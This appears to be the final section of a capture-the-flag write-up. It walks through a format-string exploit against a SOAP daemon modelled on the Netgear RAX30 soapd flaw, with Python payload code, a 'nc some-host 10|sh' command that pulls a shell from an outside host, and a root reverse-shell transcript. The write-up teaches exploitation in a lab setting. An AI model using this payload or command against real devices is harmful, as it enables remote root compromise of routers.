We can easily exploit the format string by using the %123$hhn syntax. This syntax will write the number of bytes printed so far as a uint8_t at a given offset on the stack. This is very handy as we can use it to surgically corrupt a return pointer without messing with the stack-cookie.

At this point we can control the EIP register, but we still need to actually get code execution. There is an easy way to do this by abusing the calls to system in the binary. We can partially corrupt the return address to point it to the following address in the binary:

.text:00001A76                 call    system
.text:00001A7B add esp, 10h
.text:00001A7E sub esp, 8

The first argument of system will be the next value pointed to by ESP, which just so happens to be our format string from before. We can simply prepend our format string exploit with a command to run!

# Prep return byte overwrite targets
g1 = 0x76
g2 = ((text_leak & 0xf000) >> 8) + 0xa

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

pl = b'post / a\nSOAPAction: '
pl += b'numberwang#wangernum42'

# Place write targets on the stack
pl += p32(target_stack_ret)
pl += p32(target_stack_ret+1)
# Padding
pl += b'EEEE'
pl += b'FFFF'
pl += b'A'*(1824-4*4)
# Smash format ptr
pl += p32(stack_leak)
pl += b'\n\n'

# Command to run in system
fmt = 'nc some-host 10|sh;#'

# Format string exploit
fmt += f'%{g1-len(fmt)}c'+'%592$hhn'+f'%{g2-g1}c'+'%593$hhn'
pl += fmt.encode('latin-1')

sock.sendall(pl)

With this exploit ready to go, we can run it from the second target box. Once the exploit lands we are greeted with our last reverse shell and get the last flag!

$ nc -l 1339 -v
Listening on 0.0.0.0 1339
Connection received on 192.168.1.2 14253
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@21fbbf871fa0:/# cat flag3.txt
turtles{c14583540ce6a34f73cb04d964aff18415916fae}
root@21fbbf871fa0:/#

Editor's note:

Challenge 3 is based on a flaw the Supernetworks team exploited in preparation for December's pwn2own contest against the Netgear RAX30. Oddly enough: the soapd binary has FORTIFY_SOURCE enabled, yet still has some stray sprintfs, and does in fact store the format string on the stack like that, for unclear reasons.